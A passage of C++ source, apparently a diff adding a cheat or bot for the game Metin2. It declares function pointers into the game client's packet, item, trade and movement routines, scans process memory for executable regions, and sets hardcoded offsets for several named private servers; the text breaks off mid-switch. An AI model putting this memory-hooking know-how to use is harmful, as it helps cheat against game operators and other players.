tCPythonNetworkStreamSendShopBuyPacket CPythonNetworkStreamSendShopBuyPacket; + static tCPythonNetworkStreamSendShopEndPacket CPythonNetworkStreamSendShopEndPacket; + static tCPythonNetworkStreamSendShopSellPacketNew CPythonNetworkStreamSendShopSellPacketNew; + static tCPythonNetworkStreamSendSpecial CPythonNetworkStreamSendSpecial; + static tCPythonNetworkStreamSendUseSkillPacket CPythonNetworkStreamSendUseSkillPacket; + static tCPythonNetworkStreamSendWhisperPacket CPythonNetworkStreamSendWhisperPacket; + static tCPythonNetworkStreamServerCommand CPythonNetworkStreamServerCommand; + static tCPythonNonPlayerGetTable CPythonNonPlayerGetTable; + static tCPythonPlayerClickSkillSlot CPythonPlayerClickSkillSlot; + static tCPythonPlayerGetName CPythonPlayerGetName; + static tCPythonPlayerGetItemIndex CPythonPlayerGetItemIndex; + static tCPythonPlayerGetItemMetinSocket CPythonPlayerGetItemMetinSocket; + static tCPythonPlayerGetItemAttribute CPythonPlayerGetItemAttribute; + static tCPythonPlayerGetMainCharacterIndex CPythonPlayerGetMainCharacterIndex; + static tCPythonPlayerGetRace CPythonPlayerGetRace; + static tCPythonPlayerGetStatus CPythonPlayerGetStatus; + static tCPythonPlayerGetTargetVID CPythonPlayerGetTargetVID; + static tCPythonPlayerIsSkillActive CPythonPlayerIsSkillActive; + static tCPythonPlayerIsSkillCoolTime CPythonPlayerIsSkillCoolTime; + static tCPythonPlayerNEW_Fishing CPythonPlayerNEW_Fishing; + static tCPythonPlayerNEW_GetMainActorPtr CPythonPlayerNEW_GetMainActorPtr; + static tCPythonPlayerNEW_SetSingleDIKKeyState CPythonPlayerNEW_SetSingleDIKKeyState; + static tCPythonPlayerSetAttackKeyState CPythonPlayerSetAttackKeyState; + static tCPythonPlayerSetTarget CPythonPlayerSetTarget; + static tCPythonPlayer__OnClickActor CPythonPlayer__OnClickActor; + static tCPythonPlayer__OnPressActor CPythonPlayer__OnPressActor; + static tCTerrainLoadMiniMapTexture CTerrainLoadMiniMapTexture; + static tPyCallClassMemberFunc PyCallClassMemberFunc; + static tCInputKeyboardUpdateKeyboard CInputKeyboardUpdateKeyboard; + static tCInstanceBaseIsWaiting CInstanceBaseIsWaiting; + static tCInstanceBaseSetRotation CInstanceBaseSetRotation; + static tCPythonNetworkStreamSendCommandPacket CPythonNetworkStreamSendCommandPacket; + static tCInstanceBase__GetBackgroundHeight CInstanceBase__GetBackgroundHeight; + static tCItemDataGetName CItemDataGetName; + static tCPythonPlayerGetItemCount CPythonPlayerGetItemCount; + static tCResourceManagerGetD3DTexture CGraphicTextureGetD3DTexture; + static tCResourceManagerGetResourcePointer CResourceManagerGetResourcePointer; + static tCResourceManagerGetTexturePointer CGraphicImageGetTexturePointer; + static tCResourceReload CResourceReload; + //##################################################################################################################################### + + static tPyRun_SimpleStringFlags PyRun_SimpleStringFlags; + static tPyString_AsString PyString_AsString; + static tPyTuple_GetItem PyTuple_GetItem; + static tPyInt_AsLong PyInt_AsLong; + static tPy_BuildValue Py_BuildValue; + + static void ReAddressingInstances(); + static void ReDeclarationInstances(); + static void ReAddressingLocas(); + static void ReDeclarationLocals(); + + static void ReAddressingPython(); +}; +//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + + +ServerName Globals::Server = SERVER; +bool Globals::UsePythonFunctions = false; + +map Globals::itemProtoList; +map Globals::groundItemList; +map Globals::itemProtoNames; + +HMODULE Globals::hModule = NULL; +DWORD Globals::hEntryBaseAddress = (DWORD)GetModuleHandle(NULL); +DWORD Globals::hEntryBaseSize = 0; + +HWND Globals::mainHwnd; + +vector Globals::farmCoords; + + + +PyObject* Globals::m_apoPhaseWndGame = NULL; + + + + +///################################################################################################################################################### +DWORD Globals::iCItemManagerInstance = NULL; +DWORD Globals::iCPythonItemInstance = NULL; +DWORD Globals::iCPythonApplicationInstance = NULL; +DWORD Globals::iCPythonCharacterManagerInstance = NULL; +DWORD Globals::iCPythonNetworkStreamInstance = NULL; +DWORD Globals::iCPythonPlayerInstance = NULL; +DWORD Globals::iCPythonNonPlayerInstance = NULL; +DWORD Globals::iCPythonBackgroundInstance = NULL; +DWORD Globals::iCResourceManagerInstance = NULL; + + + + + +//##################################################################################################################################### + +DWORD Globals::pCPythonNetworkStreamInstance = NULL; +DWORD Globals::pCPythonBackgroundInstance = NULL; +DWORD Globals::pCItemManagerInstance = NULL; +DWORD Globals::pCPythonItemInstance = NULL; +DWORD Globals::pCPythonApplicationInstance = NULL; +DWORD Globals::pCPythonCharacterManagerInstance = NULL; +DWORD Globals::pCPythonNonPlayerInstance = NULL; +DWORD Globals::pCPythonPlayerInstance = NULL; +DWORD Globals::pCResourceManagerInstance = NULL; + +DWORD Globals::pCActorInstanceTestActorCollision = NULL; +DWORD Globals::pCPythonBackgroundGlobalPositionToMapInfo = NULL; +DWORD Globals::pCInstanceBaseAvoidObject = NULL; +DWORD Globals::pCInstanceBaseBlockMovement = NULL; +DWORD Globals::pCInstanceBaseGetInstanceType = NULL; +DWORD Globals::pCInstanceBaseGetInstanceVirtualNumber = NULL; +DWORD Globals::pCInstanceBaseGetNameString = NULL; +DWORD Globals::pCInstanceBaseGetRotation = NULL; +DWORD Globals::pCInstanceBaseIsDead = NULL; +DWORD Globals::pCInstanceBaseIsMountingHorse = NULL; + +DWORD Globals::pCInstanceBaseNEW_GetPixelPosition = NULL; +DWORD Globals::pCInstanceBaseNEW_LookAtDestPixelPosition = NULL;; +DWORD Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = NULL; +DWORD Globals::pCInstanceBaseSCRIPT_SetPixelPosition = NULL;; +DWORD Globals::pCInstanceBase__SetAffect = NULL; +DWORD Globals::pCItemDataGetName = NULL; +DWORD Globals::pCItemManagerGetItemDataPointer = NULL; + +DWORD Globals::pCPythonBackgroundLocalPositionToGlobalPosition = NULL; +DWORD Globals::pCNetworkStreamConnect = NULL; +DWORD Globals::pCNetworkStream__DirectEnterMode_Set = NULL; +DWORD Globals::pCNetworkStreamGetAccountCharacterSlotDataz = NULL; +DWORD Globals::pCNetworkStreamIsOnline = NULL; +DWORD Globals::pCNetworkStreamPeek = NULL; +DWORD Globals::pCNetworkStreamRecv = NULL; +DWORD Globals::pCNetworkStreamSend = NULL; +DWORD Globals::pCNetworkStreamSendSequence = NULL; +DWORD Globals::pCPhysicsObjectIncreaseExternalForce = NULL; +DWORD Globals::pCPythonPlayerReviveGlobal = NULL; +DWORD Globals::pCPythonApplicationProcess = NULL; +DWORD Globals::pCPythonApplicationRenderGame = NULL; + +DWORD Globals::pCPythonCharacterManagerGetInstancePtr = NULL; +DWORD Globals::pCPythonChatAppendChat = NULL; +DWORD Globals::pCPythonEventManagerRegisterEventSetFromString = NULL;; + +DWORD Globals::pCPythonNetworkStreamConnectGameServer = NULL; +DWORD Globals::pCPythonNetworkStreamGetMainActorSkillGroup = NULL; + +DWORD Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendAttackPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendCharacterStatePacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendChatPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendEmoticon = NULL; +DWORD Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendExchangeStartPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendFishingQuitPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendFishingPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendGiveItemPacket = NULL;; +DWORD Globals::pCPythonNetworkStreamSendItemDropPacketNew = NULL; +DWORD Globals::pCPythonNetworkStreamSendItemMovePacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendItemPickUpPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendItemUsePacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendItemUseToItemPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendOnClickPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendRefinePacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendScriptAnswerPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendShootPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendShopBuyPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendShopEndPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendShopSellPacketNew = NULL; +DWORD Globals::pCPythonNetworkStreamSendSpecial = NULL;; +DWORD Globals::pCPythonNetworkStreamSendUseSkillPacket = NULL; +DWORD Globals::pCPythonNetworkStreamSendWhisperPacket = NULL;; +DWORD Globals::pCPythonNetworkStreamServerCommand = NULL; +DWORD Globals::pCPythonNonPlayerGetTable = NULL; +DWORD Globals::pCPythonPlayerClickSkillSlot = NULL; +DWORD Globals::pCPythonPlayerGetItemIndex = NULL; +DWORD Globals::pCPythonPlayerGetItemMetinSocket = NULL; +DWORD Globals::pCPythonPlayerGetItemAttribute = NULL; +DWORD Globals::pCPythonPlayerGetMainCharacterIndex = NULL; +DWORD Globals::pCPythonPlayerGetName = NULL; +DWORD Globals::pCPythonPlayerGetRace = NULL; +DWORD Globals::pCPythonPlayerGetStatus = NULL; +DWORD Globals::pCPythonPlayerGetTargetVID = NULL; +DWORD Globals::pCPythonPlayerIsSkillActive = NULL; +DWORD Globals::pCPythonPlayerIsSkillCoolTime = NULL; +DWORD Globals::pCPythonPlayerNEW_Fishing = NULL; +DWORD Globals::pCPythonPlayerNEW_GetMainActorPtr = NULL; +DWORD Globals::pCPythonPlayerNEW_SetSingleDIKKeyState = NULL;; +DWORD Globals::pCPythonPlayerSetAttackKeyState = NULL; +DWORD Globals::pCPythonPlayerSetTarget = NULL; +DWORD Globals::pCPythonPlayer__OnClickActor = NULL; +DWORD Globals::pCPythonPlayer__OnPressActor = NULL; + +DWORD Globals::pPyCallClassMemberFunc = NULL; +DWORD Globals::pCGraphicBasems_lpd3dDevice = NULL; +DWORD Globals::pCInputKeyboardUpdateKeyboard = NULL; +//Globals::tCNetworkStreamPeek Globals::CNetworkStreamPeek = NULL; +//############################################# +DWORD Globals::pCInstanceBaseIsWaiting = NULL; +DWORD Globals::pCInstanceBaseSetRotation = NULL; +DWORD Globals::pCPythonNetworkStreamSendCommandPacket = NULL; +DWORD Globals::pCInstanceBase__GetBackgroundHeight = NULL; +DWORD Globals::pCPythonPlayerGetItemCount = NULL; +DWORD Globals::pCGraphicTextureGetD3DTexture = NULL; +DWORD Globals::pCResourceManagerGetResourcePointer = NULL; +DWORD Globals::pCGraphicImageGetTexturePointer = NULL; +DWORD Globals::pCResourceReload = NULL; +//python only +//player +DWORD Globals::CythonPlayerGetStatus = NULL; +DWORD Globals::CythonPlayerGetMainCharacterIndex = NULL; +DWORD Globals::CythonPlayerGetItemIndex = NULL; +DWORD Globals::CythonPlayerGetItemCount = NULL; +DWORD Globals::CythonPlayerGetName = NULL; +DWORD Globals::CythonPlayerGetItemMetinSocket = NULL; +DWORD Globals::CythonPlayerGetRace = NULL; +DWORD Globals::CythonPlayerSetSingleDIKKeyState = NULL; +DWORD Globals::CythonPlayerClickSkillSlot = NULL; +DWORD Globals::CythonPlayerIsSkillCoolTime = NULL; +DWORD Globals::CythonPlayerIsSkillActive = NULL; +DWORD Globals::CythonPlayerGetTargetVID = NULL; +DWORD Globals::CythonPlayerSetTarget = NULL; +DWORD Globals::CythonPlayerSetAttackKeyState = NULL; +DWORD Globals::CythonPlayerIsMountingHorse = NULL; +//chr +DWORD Globals::CythonChrSelectInstance = NULL; +DWORD Globals::CythonChrGetPixelPosition = NULL; +DWORD Globals::CythonChrMoveToDestPosition = NULL; +DWORD Globals::CythonChrGetInstanceType = NULL; +DWORD Globals::CythonChrGetVirtualNumber = NULL; +DWORD Globals::CythonChrGetNameByVID = NULL; +DWORD Globals::CythonChrSetPixelPosition = NULL; +DWORD Globals::CythonChrSetRotation = NULL; +DWORD Globals::CythonChrGetRotation = NULL; +DWORD Globals::CythonChrmgrSetAffect = NULL; +//net +DWORD Globals::CythonNetSendItemUsePacket = NULL; +DWORD Globals::CythonNetSendChatPacket = NULL; +DWORD Globals::CythonNetSendRefinePacket = NULL; +DWORD Globals::CythonNetSendExchangeStartPacket = NULL; +DWORD Globals::CythonNetSendExchangeItemAddPacket = NULL; +DWORD Globals::CythonNetSendExchangeAcceptPacket = NULL; +DWORD Globals::CythonNetSendWhisperPacket = NULL; +DWORD Globals::CythonNetSendItemPickUpPacket = NULL; +DWORD Globals::CythonNetSendItemDropPacketNew = NULL; +DWORD Globals::CythonNetSendOnClickPacket = NULL; +DWORD Globals::CythonNetSendShopSellPacketNew = NULL; +DWORD Globals::CythonNetSendShopBuyPacket = NULL; +DWORD Globals::CythonNetSendShopEndPacket = NULL; +DWORD Globals::CythonNetSendGiveItemPacket = NULL; +DWORD Globals::CythonNetSendItemMovePacket = NULL; +DWORD Globals::CythonNetDirectEnter = NULL; +DWORD Globals::CythonNetConnectTCP = NULL; +DWORD Globals::CythonNetIsConnect = NULL; +DWORD Globals::CythonNetGetMainActorSkillGroup = NULL; +DWORD Globals::CythonNetGetAccountCharacterSlotData = NULL; +DWORD Globals::CythonNetSendCommandPacket = NULL; +DWORD Globals::CythonEventSelectAnswer = NULL; +DWORD Globals::CythonItemSelectItem = NULL; +DWORD Globals::CythonItemGetItemName = NULL; + +Globals::tCActorInstanceTestActorCollision Globals::CActorInstanceTestActorCollision = NULL; +Globals::tCPythonBackgroundGlobalPositionToMapInfo Globals::CPythonBackgroundGlobalPositionToMapInfo = NULL; +Globals::tCInstanceBaseAvoidObject Globals::CInstanceBaseAvoidObject = NULL; +Globals::tCInstanceBaseBlockMovement Globals::CInstanceBaseBlockMovement = NULL;; +Globals::tCInstanceBaseGetInstanceType Globals::CInstanceBaseGetInstanceType = NULL; +Globals::tCInstanceBaseGetInstanceVirtualNumber Globals::CInstanceBaseGetInstanceVirtualNumber = NULL; +Globals::tCInstanceBaseGetNameString Globals::CInstanceBaseGetNameString = NULL; +Globals::tCInstanceBaseGetRotation Globals::CInstanceBaseGetRotation = NULL; +Globals::tCInstanceBaseIsDead Globals::CInstanceBaseIsDead = NULL; +Globals::tCInstanceBaseIsMountingHorse Globals::CInstanceBaseIsMountingHorse = NULL; +Globals::tCInstanceBaseNEW_GetPixelPosition Globals::CInstanceBaseNEW_GetPixelPosition = NULL; +Globals::tCInstanceBaseNEW_LookAtDestPixelPosition Globals::CInstanceBaseNEW_LookAtDestPixelPosition = NULL; +Globals::tCInstanceBaseNEW_MoveToDestPixelPositionDirection Globals::CInstanceBaseNEW_MoveToDestPixelPositionDirection = NULL; +Globals::tCInstanceBaseSCRIPT_SetPixelPosition Globals::CInstanceBaseSCRIPT_SetPixelPosition = NULL; +Globals::tCInstanceBase__SetAffect Globals::CInstanceBase__SetAffect = NULL; +Globals::tCItemDataGetName Globals::CItemDataGetName = NULL; +Globals::tCItemManagerGetItemDataPointer Globals::CItemManagerGetItemDataPointer = NULL; +Globals::tCPythonBackgroundLocalPositionToGlobalPosition Globals::CPythonBackgroundLocalPositionToGlobalPosition = NULL; +Globals::tCNetworkStreamConnect Globals::CNetworkStreamConnect = NULL; +Globals::tCNetworkStream__DirectEnterMode_Set Globals::CNetworkStream__DirectEnterMode_Set = NULL; +Globals::tCNetworkStreamGetAccountCharacterSlotDataz Globals::CNetworkStreamGetAccountCharacterSlotDataz = NULL; +Globals::tCNetworkStreamIsOnline Globals::CNetworkStreamIsOnline = NULL; +Globals::tCNetworkStreamRecv Globals::CNetworkStreamRecv = NULL; +Globals::tCNetworkStreamSend Globals::CNetworkStreamSend = NULL; +Globals::tCNetworkStreamSendSequence Globals::CNetworkStreamSendSequence = NULL; +Globals::tCPhysicsObjectIncreaseExternalForce Globals::CPhysicsObjectIncreaseExternalForce = NULL; +Globals::tCPythonPlayerReviveGlobal Globals::CPythonPlayerReviveGlobal = NULL; +Globals::tCPythonApplicationProcess Globals::CPythonApplicationProcess = NULL; +Globals::tCPythonApplicationRenderGame Globals::CPythonApplicationRenderGame = NULL; +Globals::tCPythonCharacterManagerGetInstancePtr Globals::CPythonCharacterManagerGetInstancePtr = NULL; +Globals::tCPythonChatAppendChat Globals::CPythonChatAppendChat = NULL; +Globals::tCPythonEventManagerRegisterEventSetFromString Globals::CPythonEventManagerRegisterEventSetFromString = NULL; +Globals::tCPythonNetworkStreamConnectGameServer Globals::CPythonNetworkStreamConnectGameServer = NULL; +Globals::tCPythonNetworkStreamGetMainActorSkillGroup Globals::CPythonNetworkStreamGetMainActorSkillGroup = NULL; +Globals::tCPythonNetworkStreamSendAddFlyTargetingPacket Globals::CPythonNetworkStreamSendAddFlyTargetingPacket = NULL; +Globals::tCPythonNetworkStreamSendAttackPacket Globals::CPythonNetworkStreamSendAttackPacket = NULL; +Globals::tCPythonNetworkStreamSendCharacterStatePacket Globals::CPythonNetworkStreamSendCharacterStatePacket = NULL;; +Globals::tCPythonNetworkStreamSendChatPacket Globals::CPythonNetworkStreamSendChatPacket = NULL; +Globals::tCPythonNetworkStreamSendEmoticon Globals::CPythonNetworkStreamSendEmoticon = NULL; +Globals::tCPythonNetworkStreamSendExchangeAcceptPacket Globals::CPythonNetworkStreamSendExchangeAcceptPacket = NULL; +Globals::tCPythonNetworkStreamSendExchangeItemAddPacket Globals::CPythonNetworkStreamSendExchangeItemAddPacket = NULL; +Globals::tCPythonNetworkStreamSendExchangeStartPacket Globals::CPythonNetworkStreamSendExchangeStartPacket = NULL; +Globals::tCPythonNetworkStreamSendFishingQuitPacket Globals::CPythonNetworkStreamSendFishingQuitPacket = NULL; +Globals::tCPythonNetworkStreamSendFishingPacket Globals::CPythonNetworkStreamSendFishingPacket = NULL; +Globals::tCPythonNetworkStreamSendGiveItemPacket Globals::CPythonNetworkStreamSendGiveItemPacket = NULL; +Globals::tCPythonNetworkStreamSendItemDropPacketNew Globals::CPythonNetworkStreamSendItemDropPacketNew = NULL; +Globals::tCPythonNetworkStreamSendItemMovePacket Globals::CPythonNetworkStreamSendItemMovePacket = NULL; +Globals::tCPythonNetworkStreamSendItemPickUpPacket Globals::CPythonNetworkStreamSendItemPickUpPacket = NULL; +Globals::tCPythonNetworkStreamSendItemUsePacket Globals::CPythonNetworkStreamSendItemUsePacket = NULL; +Globals::tCPythonNetworkStreamSendItemUseToItemPacket Globals::CPythonNetworkStreamSendItemUseToItemPacket = NULL; +Globals::tCPythonNetworkStreamSendOnClickPacket Globals::CPythonNetworkStreamSendOnClickPacket = NULL; +Globals::tCPythonNetworkStreamSendRefinePacket Globals::CPythonNetworkStreamSendRefinePacket = NULL; +Globals::tCPythonNetworkStreamSendScriptAnswerPacket Globals::CPythonNetworkStreamSendScriptAnswerPacket = NULL; +Globals::tCPythonNetworkStreamSendShootPacket Globals::CPythonNetworkStreamSendShootPacket = NULL; +Globals::tCPythonNetworkStreamSendShopBuyPacket Globals::CPythonNetworkStreamSendShopBuyPacket = NULL; +Globals::tCPythonNetworkStreamSendShopEndPacket Globals::CPythonNetworkStreamSendShopEndPacket = NULL; +Globals::tCPythonNetworkStreamSendShopSellPacketNew Globals::CPythonNetworkStreamSendShopSellPacketNew = NULL; +Globals::tCPythonNetworkStreamSendSpecial Globals::CPythonNetworkStreamSendSpecial = NULL; +Globals::tCPythonNetworkStreamSendUseSkillPacket Globals::CPythonNetworkStreamSendUseSkillPacket = NULL; +Globals::tCPythonNetworkStreamSendWhisperPacket Globals::CPythonNetworkStreamSendWhisperPacket = NULL; +Globals::tCPythonNetworkStreamServerCommand Globals::CPythonNetworkStreamServerCommand = NULL; +Globals::tCPythonNonPlayerGetTable Globals::CPythonNonPlayerGetTable = NULL; +Globals::tCPythonPlayerClickSkillSlot Globals::CPythonPlayerClickSkillSlot = NULL; +Globals::tCPythonPlayerGetName Globals::CPythonPlayerGetName = NULL; +Globals::tCPythonPlayerGetItemIndex Globals::CPythonPlayerGetItemIndex = NULL; +Globals::tCPythonPlayerGetItemMetinSocket Globals::CPythonPlayerGetItemMetinSocket = NULL; +Globals::tCPythonPlayerGetItemAttribute Globals::CPythonPlayerGetItemAttribute = NULL; +Globals::tCPythonPlayerGetMainCharacterIndex Globals::CPythonPlayerGetMainCharacterIndex = NULL; +Globals::tCPythonPlayerGetRace Globals::CPythonPlayerGetRace = NULL; +Globals::tCPythonPlayerGetStatus Globals::CPythonPlayerGetStatus = NULL; +Globals::tCPythonPlayerGetTargetVID Globals::CPythonPlayerGetTargetVID = NULL; +Globals::tCPythonPlayerIsSkillActive Globals::CPythonPlayerIsSkillActive = NULL; +Globals::tCPythonPlayerIsSkillCoolTime Globals::CPythonPlayerIsSkillCoolTime = NULL; +Globals::tCPythonPlayerNEW_Fishing Globals::CPythonPlayerNEW_Fishing = NULL; +Globals::tCPythonPlayerNEW_GetMainActorPtr Globals::CPythonPlayerNEW_GetMainActorPtr = NULL; +Globals::tCPythonPlayerNEW_SetSingleDIKKeyState Globals::CPythonPlayerNEW_SetSingleDIKKeyState = NULL; +Globals::tCPythonPlayerSetAttackKeyState Globals::CPythonPlayerSetAttackKeyState = NULL; +Globals::tCPythonPlayerSetTarget Globals::CPythonPlayerSetTarget = NULL; +Globals::tCPythonPlayer__OnClickActor Globals::CPythonPlayer__OnClickActor = NULL; +Globals::tCPythonPlayer__OnPressActor Globals::CPythonPlayer__OnPressActor = NULL; +Globals::tCTerrainLoadMiniMapTexture Globals::CTerrainLoadMiniMapTexture = NULL; +Globals::tPyCallClassMemberFunc Globals::PyCallClassMemberFunc = NULL; +Globals::tCInputKeyboardUpdateKeyboard Globals::CInputKeyboardUpdateKeyboard = NULL; +//################################ +Globals::tCInstanceBaseIsWaiting Globals::CInstanceBaseIsWaiting = NULL; +Globals::tCInstanceBaseSetRotation Globals::CInstanceBaseSetRotation = NULL; +Globals::tCPythonNetworkStreamSendCommandPacket Globals::CPythonNetworkStreamSendCommandPacket = NULL; +Globals::tCInstanceBase__GetBackgroundHeight Globals::CInstanceBase__GetBackgroundHeight = NULL; +Globals::tCPythonPlayerGetItemCount Globals::CPythonPlayerGetItemCount = NULL; +Globals::tCResourceManagerGetD3DTexture Globals::CGraphicTextureGetD3DTexture = NULL; +Globals::tCResourceManagerGetResourcePointer Globals::CResourceManagerGetResourcePointer = NULL; +Globals::tCResourceManagerGetTexturePointer Globals::CGraphicImageGetTexturePointer = NULL; +Globals::tCResourceReload Globals::CResourceReload = NULL; +//####Globals::################################################################################################################################# + +Globals::tPyRun_SimpleStringFlags Globals::PyRun_SimpleStringFlags = NULL; +Globals::tPyString_AsString Globals::PyString_AsString = NULL; +Globals::tPyTuple_GetItem Globals::PyTuple_GetItem = NULL; +Globals::tPyInt_AsLong Globals::PyInt_AsLong = NULL; +Globals::tPy_BuildValue Globals::Py_BuildValue = NULL; + + + +//"CPythonGraphic::SetViewport(%d, %d, %d, %d) - Error" +void Globals::ReAddressingInstances() +{ + switch (Globals::Server) + { + case ServerName::METINPL: + { + HANDLE process = GetCurrentProcess(); + MEMORY_BASIC_INFORMATION info; + unsigned char* p = NULL; + for (p = NULL; VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info); p += info.RegionSize) + { + if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE)) && info.Protect == 0x40) + { + if (info.RegionSize >= 0x02000000) + { + Globals::hEntryBaseAddress = (DWORD)info.BaseAddress; + Globals::hEntryBaseSize = (DWORD)info.RegionSize; + } + } + } + //"[1]A1 ? ? ? ? 8B 10 81 C1 ? ? ? ? 51 50 8B 82 ? ? ? ? FF D0 D9 44 24"; + //"[1]A1 ? ? ? ? D9 6C 24"; + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x21f8380; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x21f4ee4; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x21f4ee0; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x21f4edc; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x21f845c; // [100 ] [1 / 1] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x21fa6dc; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x21f4eec; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x21f4ed8; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x21f8418; // [100 ] [1 / 1] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x2201738; + break; + } + case ServerName::ORIGINS2: + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x1d02bd0; // [98 ] [54 / 55] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x1cffe70; // [100 ] [26 / 26] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x1cffe60; // [88 ] [15 / 17] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x1cffe7c; // [100 ] [32 / 32] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x1d02c58; // [100 ] [3 / 3] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x1D055AC; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x1cffe64; // [100 ] [13 / 13] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x1cffe6c; // [100 ] [66 / 66] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x1d02c14; // [100 ] [5 / 5] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x1D08AE4; + break; + } + case ServerName::CALLIOPE2: + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x37ee28; // [100 ] [97 / 97] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x37ee44; // [98 ] [81 / 82] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x37ee34; // [95 ] [39 / 41] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x37ee64; // [100 ] [46 / 46] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x3b6ee4; // [100 ] [4 / 4] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x37F2F0; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x37ee50; // [100 ] [17 / 17] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x37ee5c; // [99 ] [103 / 104] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x37ee38; // [100 ] [5 / 5] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x34148C; + break; + } + case ServerName::MEDIUMMT2: + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x3ef29c; // [100 ] [1 / 1] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x3ecf1c; // [100 ] [1 / 1] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x3ecf0c; // [100 ] [1 / 1] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x3ecf24; // [100 ] [1 / 1] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x3ef304; // [100 ] [1 / 1] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x3f1330; // [100 ] [1 / 1] + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x3ecf10; // [100 ] [1 / 1] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x3ecf18; // [100 ] [1 / 1] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x3ef2e0; // [100 ] [1 / 1] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x3F3A94; + break; + } + + case ServerName::ASENIS: + { + pCPythonNetworkStreamInstance = Globals::hEntryBaseAddress + 0x37cc2a0; // [100 ] [103 / 103] + pCPythonCharacterManagerInstance = Globals::hEntryBaseAddress + 0x37cc2cc; // [98 ] [76 / 77] + pCPythonBackgroundInstance = Globals::hEntryBaseAddress + 0x37cc2b0; // [95 ] [40 / 42] + pCItemManagerInstance = Globals::hEntryBaseAddress + 0x38374e8; // [100 ] [41 / 41] + pCPythonItemInstance = Globals::hEntryBaseAddress + 0x383750c; // [100 ] [5 / 5] + pCPythonApplicationInstance = Globals::hEntryBaseAddress + 0x37D39C0; + pCPythonNonPlayerInstance = Globals::hEntryBaseAddress + 0x38374d8; // [100 ] [7 / 7] + pCPythonPlayerInstance = Globals::hEntryBaseAddress + 0x38374e0; // [100 ] [103 / 103] + pCResourceManagerInstance = Globals::hEntryBaseAddress + 0x37cc2c0; // [100 ] [5 / 5] + pCGraphicBasems_lpd3dDevice = Globals::hEntryBaseAddress + 0x370ACCC; + break; + } + + case ServerName::CLASSIC: + { + 